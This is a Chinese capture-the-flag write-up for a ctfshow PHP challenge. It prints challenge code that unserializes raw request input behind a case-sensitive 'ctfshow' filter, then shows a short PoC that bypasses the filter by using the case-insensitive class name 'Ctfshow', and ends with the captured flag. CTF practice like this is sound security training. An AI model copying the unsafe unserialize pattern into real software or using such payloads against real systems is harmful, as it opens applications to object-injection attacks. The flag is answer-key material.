PHP/7.3.11PHP特性类和方法不区分大小写

    1. <?php
    3. /*
    4. # -*- coding: utf-8 -*-
    5. # @Author: h1xa
    6. # @Date:   2020-12-04 23:52:24
    7. # @Last Modified by:   h1xa
    8. # @Last Modified time: 2020-12-05 00:17:08
    9. # @email: h1xa@ctfer.com
    10. # @link: https://ctfer.com
    12. */
    14. highlight_file(__FILE__);
    16. include('flag.php');
    17. $cs = file_get_contents('php://input');
    20. class ctfshow{
    21.     public $username='xxxxxx';
    22.     public $password='xxxxxx';
    23.     public function __construct($u,$p){
    24.         $this->username=$u;
    25.         $this->password=$p;
    26.     }
    27.     public function login(){
    28.         return $this->username===$this->password;
    29.     }
    30.     public function __toString(){
    31.         return $this->username;
    32.     }
    33.     public function __destruct(){
    34.         global $flag;
    35.         echo $flag;
    36.     }
    37. }
    38. $ctfshowo=@unserialize($cs);
    39. if(preg_match('/ctfshow/', $cs)){
    40.     throw new Exception("Error $ctfshowo",1);
    41. }

    拦截点：序列化数据不能包括 ctfshow，
    PHP特性：函数名和类名不区分大小写，变量名区分，例如
    image.png

    poc

    1. <?php
    3. class Ctfshow{
    4. }
    6. $user = new Ctfshow();
    8. echo(serialize($user));
    10. ?>

    image.png
    flag
    ctfshow{3c158b79-f4d9-4d64-bea8-b5b62a1b7c6a}